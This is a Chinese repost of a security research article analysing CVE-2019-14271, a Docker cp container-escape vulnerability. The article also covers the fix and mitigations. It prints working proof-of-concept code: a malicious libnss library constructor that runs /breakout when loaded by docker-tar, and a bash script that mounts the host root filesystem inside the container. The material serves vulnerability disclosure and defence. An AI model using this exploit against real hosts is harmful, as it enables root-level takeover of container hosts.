宿主机进程挂载到容器内_迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析(CVE201914271)...

4868818676ccfe5b813431fac910e423.gif

6e9ed2302b31917844c940ca6736bbd9.png摘要

在过去几年中,我们在各种容器平台(包括Docker、Podman和Kubernetes)中发现了copy(cp)命令中存在多个漏洞。其中,迄今为止最严重的的一个漏洞是在今年7月被发现和披露的。然而,在该漏洞发布的当时,并没有立即引起太多关注,可能是由于CVE的描述不明确,并且缺少已经发布的漏洞利用方式。

CVE-2019-14271是一个Docker cp命令实现中存在的安全问题,当被攻击者利用时,该问题可能导致容器的完全逃逸。自从今年二月发现了严重的runC漏洞以来,这是后续发现的首个完整容器逃逸漏洞。

如果容器已经被先前的攻击过程破坏(例如:借助其他任何漏洞、借助泄露的信息等),或者当用户从不受信任的来源(例如:注册表等来源)运行恶意容器映像时,可以利用该漏洞。如果用户随后执行存在漏洞的cp命令从受感染的容器中复制文件,那么攻击者就可以实现逃逸,并完全控制主机和其中的所有其他容器。

CVE-2019-14271在Docker 19.33.1版本中已经被标记为关键漏洞,且目前已经修复。在CVE-2019-14271漏洞修复后,我们对其进行了研究,并对该漏洞的第一个概念证明(PoC)进行了分析。

我和Ariel Zelivansky一直密切关注流行容器平台上存在的漏洞,在近期发现其中的复制漏洞数量有明显增长趋势,因此,我们将在11月20日圣地亚哥的KubeCon+CloudNativeCon 2019上介绍我们的发现。我们将深入探讨以前的漏洞、各种不同的漏洞实现以及导致这一相对简单的命令难以实现的根本原因。此外,我们还将讨论为解决此问题而编写的一些新内核功能。

6e9ed2302b31917844c940ca6736bbd9.pngDocker cp

Copy命令允许从容器复制文件、复制文件到容器以及在容器之间复制文件。其语法与标准Unix中的cp命令非常相似。要从容器中复制/var/logs,需要使用的语法为:docker cp container_name:/var/logs /some/host/path。

正如我们在下图中所看到的,要将文件复制到容器外,Docker借助了一个名为docker-tar的帮助进程。

从容器中复制文件:

fc4d0a2fdd613d56375f76e28dd51c21.png

Docker-tar的工作原理是对文件进行chroot(如下图所示),将请求的文件和目录放在其中,然后将生成的tar文件传递回Docker守护程序,该守护程序负责将其提取到宿主机的目标目录中。

Docker-tar chroot进入容器:

9207feb95a8600f9ed32802261879f2c.png

之所以选择chroot的方式,有一个主要原因是为了避免符号链接问题,当主机进程尝试访问容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果包含符号链接,那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门,使得攻击者可以尝试让docker cp在宿主机而非容器上读取和写入文件。在2018年,有几个在Docker和Podman中发现的CVE漏洞是与符号链接相关的。通过进入到容器的根目录,docker-tar能确保所有符号链接都在其目录下被有效地解析。

但遗憾的是,在从容器中复制文件时,这样“扎根到容器中”的过程为更严重的漏洞埋下了伏笔。

6e9ed2302b31917844c940ca6736bbd9.pngCVE-2019-14271漏洞分析

Docker是使用Golang语言编写的。具体而言,易受攻击的Docker版本是使用Go v1.11编译而成的。在这个版本中,某些包含嵌入式C语言代码(cgo)的软件包在运行时动态加载共享库。这些软件包包括net和os/user,都会被docker-tar使用,它们会在运行时加载多个libnss_*.so库。通常,这些库会从宿主机的文件系统中加载,但是由于docker-tar会chroots到容器中,因此它会从容器文件系统中加载库。这也就意味着,docker-tar将加载并执行由容器发起和控制的代码。

需要说明的是,除了被chroot到容器文件系统之外,docker-tar并没有被容器化。它运行在宿主机的命名空间中,具有所有root能力,并且不会受到cgroups或seccomp的限制。

有一种可能的攻击场景,是Docker用户从以下任一用户的位置复制一些文件:

(1)运行包含恶意libnss_*.so库中恶意映像的容器;

(2)受到攻击的容器,且攻击者替换了其中的libnss_*.so库。

在这两种情况时,攻击者都可以在宿主机上实现root权限的任意代码执行。

这里顺便提一个有趣的事实,这个漏洞实际上是从GitHub问题中发现的。该用户试图从debian:buster-slim容器中复制文件,过程中发现docker cp反复多次出现失败的情况。其问题在于,这个特定的映像中不包含libnss库。因此,当用户运行docker cp,且docker-tar进程尝试从容器文件系统加载它们时,会出现失败并崩溃的情况。

6e9ed2302b31917844c940ca6736bbd9.png漏洞利用

如果要利用CVE-2019-14271漏洞,需要构建一个恶意的libnss库。我们随机选择一个libnss_files.so,下载了这个库的源代码,并向其中一个源文件添加了函数run_at_link()。我还使用构造函数属性定义了该函数。构造函数属性(特定于GCC的语法)指示run_at_link函数在由进程加载时将作为我们所选择这个库的初始化函数执行。这意味着,当docker-tar进程动态加载我们的恶意库时,将执行run_at_link。下面是run_at_link的代码,为简洁起见有所裁剪。

#include ...

#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"

#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"

bool is_priviliged();

__attribute__ ((constructor)) void run_at_link(void)

{

     char * argv_break[2];

     if (!is_priviliged())

           return;

     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);

     fprintf(log_fp, "switched back to the original libnss_file.so");

     if (!fork())

     {

           // Child runs breakout

           argv_break[0] = strdup("/breakout");

           argv_break[1] = NULL;

           execve("/breakout", argv_break, NULL);

     }

     else

           wait(NULL); // Wait for child

     return;

}

bool is_priviliged()

{

     FILE * proc_file = fopen("/proc/self/exe", "r");

     if (proc_file != NULL)

     {

           fclose(proc_file);

           return false; // can open so /proc exists, not privileged

     }

     return true; // we're running in the context of docker-tar

}

run_at_link首先验证它是否在docker-tar上下文中运行,因为其他常规容器进程也可能会加载。该过程是通过检查/proc目录来实现的。如果run_at_link在docker-tar的上下文中运行,那么这个目录将为空,因为/proc上的procfs挂载仅存在于容器挂载的命名空间中。

接下来,run_at_link将恶意的libnss库替换为原始库。这样就可以确保利用该漏洞运行的所有后续进程都不会意外加载恶意版本并重新触发run_at_link的执行。

然后,为了简化利用,run_at_link尝试在容器中的/breakout路径处运行可执行文件。这将允许其他的漏洞利用可以以诸如bash的形式编写,而不一定是C语言。这一过程中将其余的逻辑排除在外,也意味着我们不用针对漏洞利用中的每一处更改都重新编译恶意库,而是只需要修改breakout二进制文件即可。

在下面的漏洞利用视频中,一个Docker用户运行了一个包含我们的恶意libnss_files.so库的恶意映像,然后尝试从容器中复制一些日志。映像中的/breakout二进制文件是一个简单的bash脚本,该脚本将宿主机上的文件系统挂载到容器的/host_fs处,同时还将一条消息写入到宿主机的/evil中。

演示视频:利用CVE-2019-14271突破Docker

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/exploit_vid.mp4?_=1

以下是视频中所使用的/breakout脚本的来源。为了获得对宿主机root文件系统的引用,脚本在/proc挂载了procfs。由于docker-tar在主机的PID命名空间中运行,因此挂载的procfs将包含主机进程中的数据。然后,该脚本只需要挂载主机上PID为1的帐户(root)。

#!/bin/bash

umount /host_fs && rm -rf /host_fs

mkdir /host_fs

mount -t proc none /proc     # mount the host's procfs over /proc

cd /proc/1/root              # chdir to host's root

mount --bind . /host_fs      # mount host root at /host_fs

echo "Hello from within the container!" > /host_fs/evil

6e9ed2302b31917844c940ca6736bbd9.png漏洞修复方法

在该漏洞的修复代码中,修复了docker-tar的init函数,该函数可以从存在问题的Go软件包中调用任意函数。这将使得docker-tar在chroot到容器之前,从宿主机文件系统中加载libnss库。

CVE-2019-14271修复方法:

2af6368219993a29ffcf2539020c3ea4.png

6e9ed2302b31917844c940ca6736bbd9.png总结

允许在宿主机上以root执行代码的漏洞非常严重。因此,业务方需确认已经更新至Docker 19.03.1版本或更高版本,因为这些版本已经包含了针对这一漏洞的修复。为了限制此类攻击的攻击面,我们强烈建议大家不要轻易运行不受信任的映像。

除此之外,在不一定需要使用root用户的场景中,我们强烈建议以非root用户身份来运行容器。这样可以进一步提高其安全性,并能有效防范攻击者利用容器引擎或内核中可能存在的一些缺陷。针对这个CVE-2019-14271漏洞,如果我们的容器使用非root用户运行,就能有效防范相应攻击。即使攻击者成功攻破了我们的容器,他也无法覆盖容器的libnss库,因为这个库仅有root具有权限,所以无法实现漏洞利用。如果大家还想对此有更深入的了解,建议阅读Ariel Zelivansky的这篇文章,以明白以非root身份运行容器的安全优势。

除此之外,我们可以使用安全产品或安全服务来防范此类威胁:

(1)确保开发人员使用经过验证或经过批准的受信任映像。

(2)借助主机漏洞扫描工具,针对当前环境中运行存在漏洞软件包的容器发出告警,并检测出当前存在的CVE漏洞。这样可以确保我们的容器不会运行存在漏洞的代码,并能防范1-day攻击。

(3)使用运行时安全产品,识别并阻止恶意行为者访问并攻破我们的容器。

本文翻译自:https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

90489820fd614ea545cba6e671b54af2.png

e55ba4364f0d8bddcb2f3870b9377382.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/513730.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

知乎的 Flink 数据集成平台建设实践

简介: 本文由知乎技术平台负责人孙晓光分享,主要介绍知乎 Flink 数据集成平台建设实践。内容如下: 1. 业务场景 ; 2. 历史设计 ; 3. 全面转向 Flink 后的设计 ; 4. 未来 Flink 应用场景的规划。 本文由知乎…

阿里云总裁张建锋:新型计算体系结构正在形成

10月19日,在2021云栖大会上,阿里云智能总裁张建锋以“云深处,新世界”为主题,首次阐释了一个全新的云上世界。他认为,一个以云为核心的新型计算体系结构正在形成,随着云网端技术进一步融合,未来…

汽车之家基于 Flink 的数据传输平台的设计与实践

简介: 数据接入与传输作为打通数据系统与业务系统的一道桥梁,是数据系统与架构中不可或缺的一个重要部分。数据传输系统稳定性和准确性,直接影响整个数据系统服务的 SLA 和质量。此外如何提升系统的易用性,保证监控服务并降低系统…

exe打包工具哪个最好_一键分发工具哪个最好用?30万人选择这款

因为现代化媒体的优势不断显现,最近这几年,新媒体领域异常被人们注重,其门槛低、流量效果无可挑剔、转化比较快速等优点,于是聚拢了无数想改变命运的人,为了种种目的,想弄到极其喜人的数据流量,…

融合趋势下基于 Flink Kylin Hudi 湖仓一体的大数据生态体系

简介: 本文由 T3 出行大数据平台负责人杨华和资深大数据平台开发工程师王祥虎介绍 Flink、Kylin 和 Hudi 湖仓一体的大数据生态体系以及在 T3 的相关应用场景。 本文由 T3 出行大数据平台负责人杨华和资深大数据平台开发工程师王祥虎介绍 Flink、Kylin 和 Hudi 湖仓…

阿里云推出“磐久”云原生服务器系列 能效和交付效率大幅提升

10月19日上午,在2021杭州云栖大会上,阿里云正式推出面向云原生时代的“磐久”自研服务器系列,首款搭载自研芯片倚天710的磐久高性能计算系列也同时亮相,该款服务器将在今年部署,为阿里云自用。 据悉,磐久服…

代码评审中的代码协同

简介: 代码评审中同样存在着“Talk is cheap. Show me the code”,语言无力时,直接上代码吧。这就是我们今天要讨论的话题——代码评审中的代码协同。 作者 | 知忧 来源 | 阿里技术公众号 大神说:“Show me the code”&#xff0…

山东师范大学志愿推荐系统邀请码_快看点邀请码填写HGC1QK快看点邀请码填写HGC1QK快看点邀请码大家千万不要乱填写哦...

快看点邀请码填写HGC1QK快看点邀请码填写HGC1QK快看点邀请码大家千万不要乱填写哦快看点官网下载是一款非常好玩的软件,喜欢此类风格的用户可以体验一下哦。快看点官网下载特色系统:如此好玩的快看点官网下载,千万别错过,来下载体验吧&#x…

10种编程语言实现Y组合子

简介: Y组合子是Lambda演算的一部分,也是函数式编程的理论基础。它是一种方法/技巧,在没有赋值语句的前提下定义递归的匿名函数,即仅仅通过Lambda表达式这个最基本的“原子”实现循环/迭代。本文将用10种不同的编程语言实现Y组合子…

7读不出来卡显示无服务器,win7识别不了网络如何解决_win7显示未识别网络的处理方法...

我们在使用萝卜家园win7系统系统久了之后难免会出现各种问题,例如最近就有网友向小编反映说自己的win7出现了识别不了网络的情况,不知道怎么解决很是苦恼。没关系,下面本文就为大家整理了关于win7显示未识别网络的处理方法。处理方法如下&…

走完线上 BUG 定位最后一公里

简介: 因为线上线下环境隔离的问题,线上的输入很多时候难以在日常环境中构造,定位 bug 效率低下。是否有简单快捷的办法呢? 一个小故事 周末12点的闹钟在回龙观均价3000的出租屋急促的响起,程序员小A慵懒的拿过手机&…

不带头节点的链表有哪些缺点_14. 删除链表中重复的结点

删除链表中重复的结点 题目描述在一个排序的链表中,存在重复的结点,请删除该链表中重复的结点,重复的结点不保留,返回链表头指针。 例如,链表1->2->3->3->4->4->5 处理后为 1->2->5写链表中我…

基于 Flutter 的 Web 渲染引擎「北海」正式开源!

简介: 阿里巴巴历时 3 年自研开发的 Web 渲染引擎北海(英文名:Kraken)正式开源,致力打造易扩展,跨平台,高性能的渲染引擎,并已在优酷、大麦、天猫等业务场景中使用。 作者 | 染陌 来…

“倚天”一出,谁与争锋?阿里发布首颗云芯片倚天 710,死磕自研芯

作者 | 贾凯强、伍杏玲 出品 | CSDN云计算(ID:CSDNcloud)10 月 19 日,2021 年云栖大会正式拉开帷幕。达摩院院长、阿里云智能事业部总裁张建锋表示,如今一个以云为核心的新型计算体系结构正在形成,该…

三菱m70刀杯上下m代码_加工中心常用G代码和M代码大全,收藏好了

我们在使用数控加工中心的过程中,最常见的数控代码有两种,一种是G代码,一种是M代码。本文整理了常见的G代码和M代码的含义,不同厂商不同的数控系统可能稍有出入,在实际中以说明书为准。G代码:准备功能&…

DataWorks搬站方案:Azkaban作业迁移至DataWorks

简介: DataWorks迁移助手提供任务搬站功能,支持将开源调度引擎Oozie、Azkaban、Airflow的任务快速迁移至DataWorks。本文主要介绍如何将开源Azkaban工作流调度引擎中的作业迁移至DataWorks上。 DataWorks迁移助手提供任务搬站功能,支持将开源…

DataWorks搬站方案:Airflow作业迁移至DataWorks

简介: DataWorks提供任务搬站功能,支持将开源调度引擎Oozie、Azkaban、Airflow的任务快速迁移至DataWorks。本文主要介绍如何将开源Airflow工作流调度引擎中的作业迁移至DataWorks上 DataWorks提供任务搬站功能,支持将开源调度引擎Oozie、Az…

mysql的每隔1分钟定时_深入研究MySQL(四)、备份与恢复

一、前言知道备份的重要性吗?没经历过的可能永远不知道,我们在重装系统、手机升级等时候,备份一下必要数据总是有好处的,指不定哪个神操作导致磁盘数据丢失,前些日子删库跑路被判刑的那位老哥,如果公司有备…

重磅发布 阿里云数据中台全新产品DataTrust聚焦企业数据安全保障

简介: DataTrust(隐私增强计算产品)是基于阿里云底层多项基础安全能力,经过阿里云数据中台丰富的客户业务实践,构建的一款为企业数据安全流通的产品。 随着包括零售、制造、金融等多行业数字化转型加速推进&#xff0…

完全无人驾驶量产车Apollo Moon威马版首秀 成本降一半、能力翻10倍

2021年10 月19日,百度Apollo联合威马正式发布两款新车,新车型均基于威马W6打造。一款是配置激光雷达的新一代无人车Apollo Moon量产车型(Apollo Moon威马版);另一款是搭载百度ANP领航辅助驾驶系统与AVP自主泊车系统的量…